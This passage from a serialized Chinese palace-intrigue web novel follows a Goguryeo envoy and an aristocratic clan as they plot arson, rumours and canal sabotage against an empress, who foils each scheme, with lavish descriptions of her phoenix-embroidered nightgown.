高句丽正使朴永忠 圣徽元年的寒冬,对于高句丽正使朴永忠而言,是屈辱与焦灼交织的。 太极殿上面见大乾女帝慕容嫣的那一幕,如同梦魇般刻在他的脑海里。 他,高句丽有名的勇士,竟在一个身着类似睡袍的妇人面前,被震慑得哑口无言,最后如同丧家之犬般被“请”出大殿,软禁在这座名为“鸿胪寺”的华丽牢笼之中。 鸿胪寺馆舍宽敞舒适,供给无缺,但四周明里暗里的守卫,以及那道“无旨不得离京,不得私见外人”的禁令,都像无形的枷锁,让他喘不过气。 慕容嫣那身诡异的黑金睡裙——他后来才从馆中一个被买通的小吏口中得知,那叫?神凤降世裙——更是时常在他眼前晃动。 他记得那极致玄黑的底色如何吸吮大殿的光线,那金线绣成的巨凤如何带着睥睨众生的威严,尤其是那女人回身时裙摆飘起,?露出的刺眼金色内衬,仿佛一道烙印,灼烧着他的自尊。 他朴永忠,刀山火海都闯过,竟被一件衣裳、一个女人吓住了? 这耻辱,如同毒蛇,啃噬着他的心。 然而,朴永忠并非纯粹的莽夫。 摄政王高云派他前来,正是看中他勇武之名下的粗豪外表,便于麻痹对手,暗中行事。 真正的使命,是设法联络大乾国内对慕容嫣不满的势力,尤其是那些树大根深的世家大族,寻求合作,共图大事。 被软禁的第五日深夜,鸿胪寺馆舍内灯火昏暗。朴永忠屏退左右,独自坐在窗前,望着窗外被高墙切割的、冰冷的一弯残月。 脚步声响起,他的心腹副使,也是此行真正的智囊,金学士悄无声息地走了进来,脸上带着一丝压抑的兴奋。 “正使大人,有消息了。”金学士压低声音,递上一张卷得极细的纸条,“通过馆内一个贪财的杂役,我们联系上了太原王氏的人。对方很谨慎,但愿意一晤。” 朴永忠眼中精光一闪,接过纸条,就着微弱的烛光看去,上面只有寥寥数字:“明夜子时,西市‘醉仙楼’后巷,第三辆马车。” 没有落款。 “可靠吗?”朴永忠沉声问,指节因用力而发白。 “应该可靠。那杂役的家人被我们的人控制着。而且,对方提出的见面地点,并非什么隐秘私宅,反而是人来人往的西市,看似危险,实则灯下黑,不易惹人怀疑。这份心机,符合世家作风。” 金学士分析道。 朴永忠点点头,将纸条凑到烛火上烧成灰烬。 “好!准备一下,明夜赴约。记住,一切小心,慕容嫣的暗卫不是吃素的。” 想到慕容嫣,他眼前仿佛又浮现出太极殿上那墨金色身影慵懒却凌厉的眼神,以及那迤逦在地的五丈拖尾带来的无形压迫感。 他甩甩头,强行将这份不适压下。 次日夜里,朴永忠与金学士换上便服,借着夜色和早已打点好的路线,巧妙地避开了鸿胪寺外围的监视,如同鬼魅般潜入了依旧喧嚣的西市。 醉仙楼是长安有名的销金窟,即便子时,依旧灯火通明,丝竹管弦之声隐约可闻。 后巷却相对僻静,停着几辆等待主人的豪华马车。 按照约定,他们找到了第三辆看似普通的青篷马车。车夫是个沉默寡言的老者,见他们靠近,只微微颔首,掀开了车帘。 朴永忠与金学士迅速钻入车内。马车内部装饰朴素,却隔音极好,车窗被厚厚的帘子遮住。 马车并未启动,只是静静地停在原地。约莫过了一炷香的功夫,另一侧车门被轻轻拉开,一个披着黑色斗篷、身形瘦削的中年男子敏捷地钻了进来。 车内只点着一盏小油灯,光线昏暗,看不清来人的具体面容,但那份久居人上的气质却难以掩饰。 “朴正使?”来人的声音低沉,带着一丝谨慎。 “正是。尊驾是?”朴永忠按捺住激动,沉声回应。 “在下姓王,家中行七。”来人并未透露更多,但“太原王氏”的身份已不言而喻。 “朴正使在太极殿受辱,我等亦是感同身受。慕容嫣此女,倒行逆施,践踏礼法,我世家百年基业,亦深受其害。” 朴永忠心中冷笑,知道对方是在博取同情,但面上却露出愤慨之色:“王先生所言极是!慕容嫣狂妄自大,视我高句丽如无物!我主摄政王雄才大略,愿与志同道合者,共商大计!” 王七爷微微倾身,声音压得更低: “慕容嫣如今看似稳固,实则危机四伏。其新政苛酷,民怨暗生;北疆用兵,耗费钱粮;更重要的是,她与那林臻,名为君臣,实为哼,牝鸡司晨,阴阳颠倒,此乃亡国之兆!只要时机恰当,内外呼应,大事可成!” “哦?愿闻其详!”朴永忠身体前倾,眼中闪烁着野心的光芒。 “眼下便有一良机。”王七爷道,“慕容嫣为平抑粮价,强推平准官市,已耗尽大量存粮。如今漕运不畅,南方新粮难以北运。我世家可暗中操作,令其粮草彻底断绝!届时京城必乱!若此时,高句丽大军能在东境施加压力,甚至制造一些‘摩擦’,慕容嫣必然首尾难顾!” 朴永忠心中狂喜,这正与摄政王高云的谋划不谋而合!但他面上却故作沉吟:“出兵乃国之大事需有足够利益驱使。” 王七爷眼中闪过一丝精明:“事成之后,辽东之地,鸭绿江以东,尽归高句丽所有!此外,我世家愿奉上白银五百万两,粮草五十万石,以资军需!” 这是一个极其诱人的条件!朴永忠几乎要立刻答应,但他还是强自镇定:“兹事体大,本使需禀报我主摄政王定夺。不过,王先生诚意拳拳,本使必极力促成!” 双方又密谈了近半个时辰,详细敲定了联络方式、信息传递渠道以及初步的行动步骤。 王七爷承诺,会通过特殊渠道,将大乾边境的布防图等重要情报,陆续传递给高句丽。 临别时,王七爷似乎不经意地提了一句:“慕容嫣那女人,终日穿着那身不伦不类的神凤降世裙,自以为尊贵,实则荒唐!待大事已成,那件衣裳,或许可赠与朴正使,以雪当日之辱?” 他的语气带着一丝轻蔑与蛊惑。 朴永忠脑海中立刻浮现出那墨金色凤袍的华美与压迫感,心头竟莫名一悸,他干笑两声:“先生好意心领,届时再说吧。” 王七爷悄然离去,马车也很快启动,将朴永忠二人送回鸿胪寺附近。回到馆舍,朴永忠仍觉心跳如鼓,既有阴谋得逞的兴奋,又有一种难以言喻的不安。 他站在窗前,望着皇城的方向,仿佛能看到那座凤寰宫中,慕容嫣正慵懒地偎在林臻怀里,?身上那件神凤降世裙的拖尾,?如同暗夜中的河流,?无声地流淌。 “女人睡裙,”他低声咒骂了一句,试图驱散心中那抹诡异的阴影,将注意力集中在刚刚达成的密谋上。 他却不知,他与王七爷的会面,以及他们自以为隐秘的交谈,早已被潜伏在暗处的“夜枭”,一字不落地记录了下来,并化作一份密报,正被以最快的速度,送往那座他既憎恨又畏惧的宫殿。 而在凤寰宫的温暖寝殿内,慕容嫣刚沐浴完毕,?任由宫女为她擦拭着湿漉漉的长发,?身上已然换上了干燥舒适的同款神凤降世裙。 林臻坐在一旁,?手中拿着一份刚送来的奏章,?眉头微蹙。 “嫣儿,鸿胪寺那边鱼儿似乎咬钩了。”他放下奏章,轻声道。 慕容嫣懒懒地抬起眼皮,?嘴角勾起一抹预料之中的弧度?:“哦?比朕想的还要沉不住气呢”她伸出戴着墨玉扳指的手,?林臻很自然地接过,?为她轻轻按摩着手指。 “要不要收网?”林臻问道。 “急什么,”慕容嫣轻笑,?反手握住他的手,“让他们再多蹦跶几天,朕倒要看看他们还能吐出多少秘密。” 她的语气慵懒,?眼神却冰冷如霜。 ?高句丽使臣的暗中奔走,世家大族的密谋勾结,在这座繁华帝都的阴影下悄然进行。 然而,他们的一切动作,都仿佛是在一头假寐的凤凰眼前,上演着一出早已被看穿的可笑戏剧。 第943章 年关将近 圣徽元年的年关将近,长安城本该沉浸在辞旧迎新的喜庆之中。 然而,在鸿胪寺那间华丽的牢笼里,高句丽正使朴永忠却如同困在蛛网上的飞虫,焦躁、愤怒,又带着一丝即将施行毒计的亢奋。 与太原王氏王七爷的秘密接洽,如同给他注入了一剂强心针。 慕容嫣那女人和她那身诡异的神凤降世裙带来的压迫感,似乎被一种“即将复仇”的快意暂时冲淡了。 他现在满脑子想的,就是如何将王七爷提供的资源和自己手中的力量结合起来,给这座繁华的帝都,给那个高高在上的女人,一记重击! 王七爷的计划阴险而具体。 利用年关物资需求大增、朝廷平准官市供应本就紧张的局面,制造一场更大范围的恐慌和混乱。 第一步,是在京城最重要的商业区——东市和西市,同时制造数起“意外”火灾,目标并非直接烧毁官市,而是烧毁其周边的重要仓库和几家由寒门新贵开设、与官市关系密切的大商号! 此举一石三鸟:制造恐慌,打击慕容嫣扶持的新兴商业势力,并将嫌疑引向可能存在的“流民”或“匪患”,混淆视听。 第二步,则在火灾引发的混乱中,利用早已收买的市井无赖和部分对朝廷不满的漕运苦力,散布更恶毒的谣言,称火灾乃“天降警示”,因“女主当阳,阴阳失调,故有天火示警”,并宣称平准官市的存粮已在火灾中损失殆尽,鼓动百姓抢购囤积,彻底冲垮慕容嫣稳定物价的努力。 夜色如墨,寒风凛冽。 朴永忠站在鸿胪寺馆舍的窗前,望着远处依稀可见的东市方向闪烁的灯火,手心因紧张而微微出汗。 他身边站着心腹金学士,以及一名穿着夜行衣、眼神凶悍的汉子,这是王七爷通过秘密渠道送来的“专业人士”,擅长纵火和制造混乱。 “都安排妥当了?”朴永忠的声音因压抑的兴奋而有些沙哑。 黑衣汉子躬身低语:“回正使,东市三家,西市两家,目标仓库和商号周围都已泼洒了猛火油,引火之物也已安置在隐蔽处。子时三刻,东西两市同时动手。届时,我们的人会在人群中煽风点火,确保乱起来。” 金学士补充道:“谣言也已经准备好了,只等火起,便会像瘟疫一样散开。王七爷那边也会配合,让他们在朝中的门生适时上奏,渲染‘天象示警’,给慕容嫣施加压力。” 朴永忠重重一拍窗棂,眼中闪烁着狼一般的凶光:“好!就让这把火,烧掉慕容嫣的太平假象!让她知道,得罪我高句丽,藐视我朴永忠的下场!” 他仿佛已经看到冲天的火光,听到百姓的哭喊,看到慕容嫣在太极殿上惊慌失措的模样。 那身墨金色的神凤降世裙,在火焰的映照下,也该失去那可恶的威严了吧? 子时三刻,更鼓声沉闷地响起。 朴永忠死死盯着东市的方向,心脏狂跳。 突然,远处天际隐隐透出一抹不正常的橘红色,随即,越来越亮! 隐约的惊呼声、锣声顺着寒风传来! “起了!火起了!”金学士低呼道,声音带着颤抖。 几乎同时,西市方向也出现了火光! 两处火头在黑夜中格外刺眼! 鸿胪寺虽离市场有段距离,但也能感受到那种混乱的气息随风飘来。 朴永忠脸上露出狰狞的笑容,成功了! 他几乎能想象到此刻东西两市是如何的人仰马翻,恐慌如同瘟疫般蔓延。 然而,他脸上的笑容并未持续太久。预想中的全城大乱并没有出现。 火势起得很快,但似乎被控制得更快! 想象中的百姓疯狂抢购、冲击官市的场景并未上演。 相反,他透过窗户,看到一队队盔甲鲜明的禁军士兵,如同早已准备好一般,从各条街道迅速涌出,有条不紊地封锁了通往东西两市的主要路口,疏导人群,维持秩序。 更有数支打着“龙骧”、“虎贲”旗号的精锐部队,直接开进了火场,配合京兆尹的救火人员,高效地扑救火灾! 更让朴永忠心惊的是,市面上并没有出现恐慌性的抢购潮。 平准官市虽然加强了守卫,但依旧按时开门,虽然采取了更严格的限购措施,但秩序井然! 那些他寄予厚望的谣言,仿佛投入水中的石子,只激起了一丝微不足道的涟漪,便被一种更强大的力量迅速抚平了。 偶尔有零星的骚动,也很快被巡逻的士兵和那些突然冒出来的、口齿伶俐的“宣讲官”安抚下去。 那些宣讲官反复强调朝廷存粮充足,火灾乃意外,陛下已严令彻查,安定民心。 “怎么可能他们怎么可能反应这么快?!”朴永忠难以置信地低吼,拳头狠狠砸在窗框上。 这完全超出了他的预料! 慕容嫣的应对,简直就像是早就知道了他们的计划一样! 一种冰冷的寒意,瞬间从脚底窜上他的脊梁骨。 他猛地想起太极殿上,慕容嫣那双看似慵懒、却仿佛能洞悉一切的风眸。 难道她和那个林臻,早就? 就在这时,馆舍外传来一阵整齐而沉重的脚步声! 一队全身披甲、手持长戟的宫廷禁卫,在一名面色冷峻的将领带领下,径直来到鸿胪寺大门前! 那将领并未闯入,而是朗声宣告,声音在寂静的夜里格外清晰: “奉陛下口谕!京城忽遭火灾,恐有奸人作乱!为保四方馆驿安全,即日起,加强鸿胪寺守备,没有陛下手令,任何人不得出入!请各国使臣安心在馆,勿要随意走动,以免发生意外!” 名为保护,实为更严格的软禁! 朴永忠的脸色瞬间变得惨白。他明白,这不是巧合! 慕容嫣这是在警告他! 她什么都知道! 他失魂落魄地瘫坐在椅子上,之前复仇的快意荡然无存,只剩下深深的恐惧和挫败感。 金学士和那黑衣汉子也面面相觑,脸上写满了惊慌。 “我们被发现了?”金学士声音发颤。 朴永忠没有回答,他只是死死攥着拳头,指甲深深掐入掌心。 他眼前再次浮现出慕容嫣的身影,这一次,不再是太极殿上的威严,而是某种更可怕的想象。 深宫之中,慕容嫣或许正慵懒地偎在那张铺着白虎皮的软榻上,?身上依旧穿着那件黑金苏锦的神凤降世裙,?宽大的喇叭袖垂落,?墨玉扳指在烛光下闪烁。 林臻可能就坐在她身边,?为她剥着水果,?或者轻声汇报着今夜这场由他朴永忠主导的可笑闹剧。 而慕容嫣,可能只是漫不经心地听着,?嘴角带着一丝洞悉一切的、嘲讽的弧度,?仿佛在看一场早已知道结局的皮影戏。 那长达五丈的拖尾,?迤逦地铺在温暖的地毯上,?象征着她无远弗届的掌控力。 甚至在他想象中,慕容嫣可能会突然回身,?裙摆飘起,?露出那金色的内衬,?那金光仿佛能穿透宫墙,?直接照见他内心最阴暗的角落?! “恶魔那个女人是个恶魔!”朴永忠从牙缝里挤出这句话,浑身冰凉。 他第一次真正意识到,自己面对的,是一个何等可怕的对手。 他所谓的复仇计划,在对方眼中,或许只是一场无聊的游戏。 这一夜,东西两市的火灾最终被扑灭,损失被控制在有限范围。 市面上虽有波澜,但很快恢复平静。 然而,在鸿胪寺内,朴永忠的心,却如同被那场火灼烧过一般,充满了焦糊的绝望和深入骨髓的寒意。 他第一次感到,自己离死亡如此之近,而夺命的丝线,就握在那个穿着神凤降世裙的女人手中。 第944章 寒冬,似乎凝固在了长安 圣徽元年的寒冬,似乎凝固在了长安。 鸿胪寺对于朴永忠而言,已从暂居的馆驿变成了插翅难逃的精美囚笼。东西两市那场虎头蛇尾的火灾,如同冰水浇头,彻底浇灭了他最初的狂妄。 慕容嫣迅捷如雷霆的应对、精准如手术刀的控制力,以及那紧随其后的、名为“保护”实为囚禁的加强守备,都像一把钝刀,反复切割着他的神经。 他意识到,小打小闹的破坏,在那个女人绝对的实力和洞察力面前,不过是孩童的把戏,徒然暴露己方,徒增笑柄。 失败的屈辱和日益加深的恐惧,如同毒藤般缠绕着他,但也催生了一种更为阴暗、更为孤注一掷的狠厉。 他不能再等了,必须下一盘更大的棋,一盘足以动摇大乾国本的棋! 而这场棋局的盟友,依然是那些潜伏在阴影里的世家大族。 深夜,鸿胪寺最隐秘的一间耳房内,炭火盆烧得噼啪作响,却驱不散空气中的凝重。 朴永忠、金学士,以及再次冒险潜入的王七爷,围坐在一张小几旁,几上摊开着一幅略显陈旧的大乾漕运河道图。三人的脸色在跳动的火光下,都显得异常阴沉。 “王先生,前次失利,是我等低估了慕容嫣。”朴永忠的声音沙哑,带着一丝不易察觉的疲惫,但眼神却像淬了毒的刀子,“小打小闹,伤不了她的筋骨。我们必须釜底抽薪!” 王七爷捻着胡须,眼中闪烁着老谋深算的寒光: “朴正使所言极是。慕容嫣新政之基,在于钱粮,钱粮之脉,在于漕运。若能断其漕运,如同斩断大乾之脊梁!届时,莫说平准官市,就是北疆数十万大军,京城百万生灵,都将陷入绝境!” 金学士补充道:“根据我们掌握的情报,今年冬天格外寒冷,黄河、淮河多处冰封,漕运本就比往年艰难数倍。此时若在关键河段制造一些‘意外’比如,运河闸口‘年久失修’突然崩塌,或者重要粮船队遭遇‘水匪’袭击沉没再配合我们在朝中的人,以‘天灾频仍,漕运断绝,当缩减北疆军需,暂停新政以保京城’为由向慕容嫣施压” 王七爷阴恻恻地接口:“届时,慕容嫣将陷入两难!若坚持新政和北疆用兵,京城必乱,民怨沸腾!若妥协退让,则威信扫地,新政破产,我们便可趁机反扑!此乃阳谋,看她如何应对!” 朴永忠的心脏剧烈跳动起来,这才是他想要的! 不再是街头巷尾的纵火造谣,而是直接撼动国脉的致命一击! 他仿佛已经看到运河上漂浮的粮船碎片,看到京城因缺粮而陷入恐慌,看到慕容嫣在太极殿上焦头烂额的模样。 那身可恨的?神凤降世裙,在国难面前,还能保持那份该死的从容吗? “好!就这么办!”朴永忠一拳砸在几上,震得图纸簌簌作响,“需要我高句丽做什么?” 王七爷压低声音: “我们需要贵国在边境制造足够的压力!不必大规模进攻,但需频繁挑衅,制造紧张态势,牵制慕容嫣的精力,让她无法全力应对内部危机。同时,若事成,我世家承诺的辽东之地和钱粮,必定如数奉上!” “没问题!”朴永忠眼中燃起疯狂的光芒,“我即刻密报摄政王!高句丽的勇士,早已磨快了刀剑!” 接下来的几天,朴永忠在极度保密的状态下,通过王七爷提供的特殊渠道,将一份极其详细的密报送出了长安,经由复杂路线送往高句丽。 密报中,他极力渲染了慕容嫣的“暴虐”和世家的“忠诚”,恳请摄政王高云即刻在边境施加军事压力,配合此次“断漕”大计。 在等待回音的焦灼中,朴永忠如同困兽,在鸿胪寺的方寸之地来回踱步。 他时而幻想成功后的扬眉吐气,时而又被慕容嫣那双仿佛能洞穿一切的风眸惊醒,冷汗涔涔。他无数次回忆起太极殿上的一幕,那女人身着墨金色神凤降世裙,?回身时裙摆飘起,?露出金色内衬的惊鸿一瞥,那画面带着一种诡异的魔力,既让他憎恨,又让他恐惧。 他甚至开始病态地想象,当漕运断绝的消息传来时,慕容嫣在凤寰宫中会是什么反应? 是会惊慌失措?还是依旧慵懒地偎在那个叫林臻的男人怀里,任由那五丈长的拖尾铺满地面,仿佛外界天塌地陷也与她无关? 这种想象让他不寒而栗。 不,他绝不允许!他一定要看到那个女人崩溃的样子! 机会终于来了。 王七爷派人传来密信,称一切已安排妥当,三日后子时,运河徐州段的关键闸口“清晏闸”将因“意外”崩塌,同时,一支满载军粮的船队将在微山湖水域遭遇“神秘水匪”。 信中还附上了一小片撕裂的、带有特殊印记的丝绸,称此乃行动信号,亦是世家与高句丽盟约的见证。 捏着那片冰凉的丝绸,朴永忠激动得浑身发抖。 成功了!计划已经启动!他仿佛已经听到了运河决堤的轰鸣和粮船沉没的哀鸣! 然而,他并不知道,几乎就在他收到这片丝绸的同时,一份更为详细的密报,已经摆在了凤寰宫慕容嫣的案头。 密报不仅包含了朴永忠与王七爷的全部计划,甚至连那“清晏闸”何时被做手脚、微山湖“水匪”的真实身份,都记录得一清二楚。 凤寰宫暖阁内,地龙烧得暖融,空气中弥漫着安神的苏合香。 慕容嫣刚刚沐浴过,?长发微湿,?身穿着干燥舒适的黑金苏锦神凤降世裙,?正慵懒地趴在铺着白虎皮的软榻上。 林臻侧坐在榻边,?手中拿着一盒散发着清冽香气的膏脂,?正轻柔地为她按摩着后背和肩颈。他的动作专注而熟练,指尖力度恰到好处。 ?神凤降世裙在温馨的烛光下,流淌着静谧的华光。 ?极致玄黑的苏锦底料吸吮着暖意,色泽沉静,织入的金色棉绒与真金线泛着柔和的暗金波光。? 睡裙之上,那只擎天巨凤在室内敛去所有锋芒,凤羽线条柔和华美。?宽大轻盈的喇叭袖一只软软垂落榻边,另一只则搭在林臻正在忙碌的手腕旁。 她左手拇指上的墨玉扳指,在光下温润。 那长达五丈的苏锦拖尾,?迤逦地铺满了榻前昂贵的地毯,?墨金色泽与温暖的室内氛围奇异地融合。 暗卫统领无声地呈上密报,然后垂首退至珠帘外。 林臻停下按摩,拿起密报,快速浏览后,眼神一冷,但他并未立刻说话,而是先拿起温热的湿巾擦了擦手,然后才将密报递到慕容嫣面前。 慕容嫣连眼皮都未抬,?只是懒懒地哼了一声?:“念给朕听,夫君。” 林臻便低声将密报内容,清晰而平稳地念了出来。从朴永忠与王七爷的密谋,到“清晏闸”和微山湖的计划,一字不落。 听完,慕容嫣依旧保持着趴卧的姿势,?只是发出一声极轻的嗤笑,?仿佛听到了一件无聊的琐事。“釜底抽薪?倒是比放火长了点脑子。” 她的声音带着鼻音,?像是快要睡着了。 “嫣儿,如何处置?是否要提前拿下?”林臻问道,语气中杀机隐现。 慕容嫣终于动了动,?她翻过身,?慵懒地伸了个懒腰,?宽大的喇叭袖随之舒展。 她没有回答林臻的问题,?反而伸出戴着墨玉扳指的手,?轻轻拽了拽林臻的衣袖。 “夫君,继续按,朕觉得左边肩胛骨下面还有点酸。” 林臻微微一怔,随即眼中闪过一丝了然与笑意,他重新坐下,指尖精准地找到她所说的位置,继续轻柔地按摩起来。“好。” 慕容嫣舒服地眯起眼,?像只被顺毛的猫儿。过了好一会儿,就在林臻以为她快要睡着时,她才慢悠悠地开口,?声音慵懒却字字清晰?: “传令给徐州刺史和漕运总督,清晏闸让他们提前‘修’好,要修得比以往更结实,微山湖那边让水师扮成商船在预定地点等着,‘水匪’来了就给朕一网打尽,记住要活口。” 她的命令轻描淡写,却已将一场足以撼动国本的危机,消弭于无形。这已不是应对,而是戏耍!她是要让朴永忠和世家们,亲眼看着他们自以为万无一失的计划,如何变成一个自投罗网的笑话! 吩咐完,慕容嫣似乎彻底放松下来。她转过身,?面向林臻,?伸手环住他的腰,?将脸埋在他怀里,?闷闷地说?:“夫君朕困了。” 林臻将她紧紧拥住,拉过锦被盖好,低声道:“睡吧,嫣儿。有为夫在。” 慕容嫣在他怀里轻轻“嗯”了一声,?很快呼吸变得均匀。 林臻低头看着她安静的睡颜,?眼神温柔似水,?却也在眼底深处,?凝着一层冰冷的寒霜。 他知道,这场游戏,该到收网的时候了。 第945章 黑金色霞帔 圣徽元年的年关,在一种诡异而紧张的氛围中临近。 高句丽使臣朴永忠与世家精心策划的“断漕”毒计,虽未能在运河上掀起预想中的惊涛骇浪。 清晏闸稳固如初,微山湖的“水匪”早已成了水师的阶下囚。 但他们散播的“官仓存粮将尽,平准官市难以为继”的恶毒谣言,却如同瘟疫般在京城底层百姓中悄然蔓延,结合年关物资需求的自然增长,一种无声的恐慌开始在坊间滋生。 东西两市虽在朝廷强力管控下秩序尚存,但那种弥漫在空气中的焦虑、那些在平准官市前排起的长龙中窃窃私语的眼神,都预示着危机一触即发。 腊月二十三,小年。 天空阴沉,朔风凛冽,细碎的雪花开始飘落。 这是一个极易激发不安情绪的日子。 终于,在东市平准官市外,一场因限量售罄而引发的骚动如同火星溅入干柴,瞬间点燃了积聚的恐慌。 数百名未能买到粮食的百姓情绪激动,围堵官市大门,与维持秩序的兵士推搡对峙,谩骂声、哭喊声、孩童的啼哭声混杂在一起,场面眼看就要失控! 混在人群中的宵小之徒趁机起哄,叫嚷着“朝廷没粮了!” “女帝要把我们饿死!”, 更是火上浇油。 消息以最快的速度传入皇城。 然而,出乎所有人意料,凤寰宫内传出的旨意并非增派兵马弹压,亦非严厉申饬,而是一道平静却石破天惊的口谕:陛下将亲临东市,巡视平准官市。 当这道口谕传出时,莫说躁动的百姓和紧张的官员,就连深居鸿胪寺、时刻关注外界动静的朴永忠得知后,都惊得从坐榻上跳了起来! 慕容嫣要亲自去那混乱不堪的市井之地? 她疯了吗?! 他脑海中立刻浮现出慕容嫣身着那身华美得近乎妖异的?神凤降世裙,置身于肮脏、混乱、充满敌意的市井人群中的画面,那将是何等的荒谬与危险? 一丝莫名的、连他自己都不愿承认的期待和恐惧,同时攫住了他的心。 未时正,东市街口。 得到消息的京兆尹和巡防营早已净街戒严,但无法驱散远处黑压压围观的人群,以及官市门前那数百名情绪不稳的百姓。 空气中弥漫着紧张、好奇与浓重的不信任感。 銮驾并未出现。 取而代之的,是一辆并不起眼的玄色马车,在少量便装禁卫的簇拥下,悄然驶至。 车帘掀开,首先映入众人眼帘的,是一双踩着玄色凤头履的纤足,随即,一个身影缓缓步下马车。 当那个身影完全展露在光天化日、寒风飞雪之下时,整个喧闹的东市仿佛被瞬间冻结! 所有声音戛然而止,无数道目光凝固在半空,充满了难以置信的震惊! 是慕容嫣! 她竟然真的来了! 而且……她竟然……就穿着那身只在传闻中、只在太极殿遥远御座上惊鸿一瞥的——黑金苏锦棉质百鸟朝凤睡裙,也就是神凤降世裙?! 只是今日,在这凛冽的户外,?睡裙之外,?松松地罩了一件长及脚踝的黑金色苏锦霞帔。? 霞帔并无繁复绣纹,仅在边缘以暗金线滚边,与睡裙本身的极致华美相得益彰,既添了几分庄重,又未掩盖睡裙主体的光芒。 ?极致玄黑的苏锦底料在阴沉的天空下,更显沉静深邃,仿佛能吸纳一切喧嚣;织入的金色棉绒与真金线在雪光的映衬下,流淌着冷冽而耀眼的暗金波光。 ?睡裙之上,那只布满裙身与拖尾的擎天巨凤,在风雪中仿佛活了过来,凤羽层叠,每一片鳞甲都折射着寒光,带着一种直面苍生的、凛然不可侵犯的威严! 凤眸上的黑钻,冰冷地扫视着全场。 ?宽大轻盈的喇叭袖在霞帔下若隐若现,袖口金线流苏随风轻扬。 她左手拇指上的墨玉扳指,在灰蒙蒙的天地间,显得格外醒目。 而最令人瞠目结舌的,是那长达五丈、连体而成的苏锦拖尾?! 它并未由任何宫人抬起或整理,?就那样迤逦地、甚至有些凌乱地拖行在她身后冰冷、泥泞、甚至带有污渍的雪地上?! 从她驻足的地方,一直延伸到马车旁,?墨金色的华贵锦缎与肮脏的地面形成了惊心动魄的、近乎亵渎的对比! 那棉质的柔软与睡裙的舒适,在此刻严峻的场合下,更凸显出一种异乎寻常的、近乎偏执的从容与自信。 林臻并未穿着亲王礼服,而是一身玄色劲装,外罩墨色大氅,紧随在慕容嫣身侧稍后一步。 他面容冷峻,目光如鹰隼般扫过人群,手始终按在腰间的剑柄上,整个人如同一柄出鞘的利剑,守护着身前那抹惊世骇俗的墨金色身影。 慕容嫣脸上没有任何表情,?既无怒容,?也无笑意。 她并未立刻走向骚动的人群,?而是缓缓踱步,?走向官市一侧,?那里,?正有兵士和官市吏员从官仓中,?将一袋袋粮食搬运出来,?准备补充货架。 她在一袋刚刚卸下的、鼓鼓囊囊的麻袋前停下脚步。 那麻袋上,清晰地盖着户部官仓的朱红大印。 在所有人屏息凝神的注视下,慕容嫣微微俯身,?伸出戴着墨玉扳指的右手,?用指尖,?轻轻划破了麻袋紧缝的封口?! “哗——”的一声,金灿灿的、饱满的粟米,如同瀑布般从破口处流淌出来,瞬间在她脚边堆积成一座小山,在雪地里闪烁着令人心安的光芒! 这一刻,无声胜有声! 所有关于“官仓无粮”的谣言,在这一袋实实在在、倾泻而出的粮食面前,不攻自破! 人群中响起一片压抑不住的惊呼和抽气声! 慕容嫣直起身,?目光平静地扫过眼前那些原本情绪激动的百姓。 她没有训话,?没有安抚,?只是用脚,?轻轻踢了踢脚边那堆金黄的粟米,?让它们更松散地铺开在雪地上。 这个动作,随意得近乎慵懒,却带着一种毋庸置疑的、展示实力的傲慢。 然后,她转身,?面向官市大门的方向,?缓步走去。 那迤逦在泥泞雪地上的墨金色拖尾,?随着她的步伐,?在身后拖出一道惊心动魄的痕迹,?所过之处,?华贵的锦缎沾染了雪水和泥渍,?她却浑不在意。 人群下意识地分开一条道路,鸦雀无声。 所有的愤怒、恐慌、质疑,在那流淌的粮食和这无声的、极具冲击力的华服漫步面前,都化为了巨大的震撼和茫然。 走到官市门口,慕容嫣停下脚步,?目光落在几个被兵士扭住、刚才叫嚣得最凶的混混模样的人身上。 她依旧没有说话,?只是静静地看着他们。 那目光,平静无波,却带着千钧之重,让那几人浑身发抖,瘫软在地。 就在这时,一阵凛冽的寒风卷着雪花吹过,慕容嫣似乎觉得有些冷,?下意识地,?轻轻回了一下头,?望向林臻的方向。 就是这轻轻一回首的动作—— 那迤逦在地、沾染了尘泥的墨金色巨幅拖尾被风带动,?翩然飘起一个弧度?! 刹那间,?赫然露出了里面那金线密织、璀璨夺目的“满地织金”内衬!?? 百凤朝阳、万福万寿的纹路在阴沉的雪天中骤然闪现,金光流淌,尊贵、辉煌,与外部墨色的沉静和尘泥的污渍形成了极致反差,仿佛在宣示:即便沾染凡尘,内里的辉煌与力量亦不容置疑! 裙摆落下,华光内敛。 慕容嫣对林臻,?几不可察地微微颔首。 林臻会意,上前一步,面对寂静的人群,声音沉稳有力,清晰地传遍整个东市: “陛下有旨:平准官市,存粮充足,足可保京城百姓度过严冬,直至来年春暖花开!凡有再敢散布谣言、煽动闹事者,视同谋逆,立斩不赦!今日在场百姓,每人可额外领取三日口粮,以示天恩!” 没有冗长的解释,没有虚伪的安抚,只有最直接的展示和最严厉的警告,外加最实在的恩惠。 雷霆雨露,皆是君恩。 慕容嫣不再停留,?转身,?沿着来路,?缓步走向马车。 自始至终,她没有对百姓说过一句话。 但那袋倾泻的粮食,那身踏过泥泞的?神凤降世裙,那惊鸿一瞥的金色内衬,以及林臻最后那道旨意,已经胜过千言万语。 当她弯腰登上马车,?车帘垂下的那一刻,?那五丈长的墨金色拖尾最后在车辕外摆动了一下,?最终消失在众人视线中。 整个过程,无人敢上前,无人敢喧哗,只有风雪呼啸的声音。 马车悄然离去,留下死寂的东市和面面相觑的百姓。 很快,官市大门重新打开,吏员们开始有序地分发额外的粮食。 恐慌,如同被阳光照射的冰雪,悄然消融。 取而代之的,是一种复杂的情绪,有敬畏,有震撼,或许,还有一丝难以言喻的归属感? 消息如同长了翅膀,飞入鸿胪寺。 当朴永忠听到慕容嫣竟然以这种方式,如此轻易地化解了这场精心策划的危机时,他颓然坐倒,面如死灰。 他仿佛能看到,那身墨金色的神凤降世裙,如何以一种近乎蛮横的、碾压一切的姿态,将他所有的阴谋诡计,踩踏在泥泞之中。 那不仅仅是一件衣裳,那是一种他永远无法理解的、强大的象征。 而凤寰宫内,慕容嫣已褪去沾了尘泥的霞帔和外履,?只穿着那身神凤降世裙,?慵懒地偎在暖榻上。 林臻正半跪在榻前,?用温热的湿巾,?小心翼翼地擦拭着她裙摆边缘沾染的些许污渍,?眼神专注而心疼。 第946章 刺客闪现 腊月二十四,扫尘日。 连日的阴沉天气终于放晴,冬日暖阳洒在长安城的大街小巷,带来几分难得的暖意。 接连处理了高句丽使臣和世家制造的诸多事端,慕容嫣似乎也有些倦了朝堂的勾心斗角,竟生出几分寻常女儿家的心思。 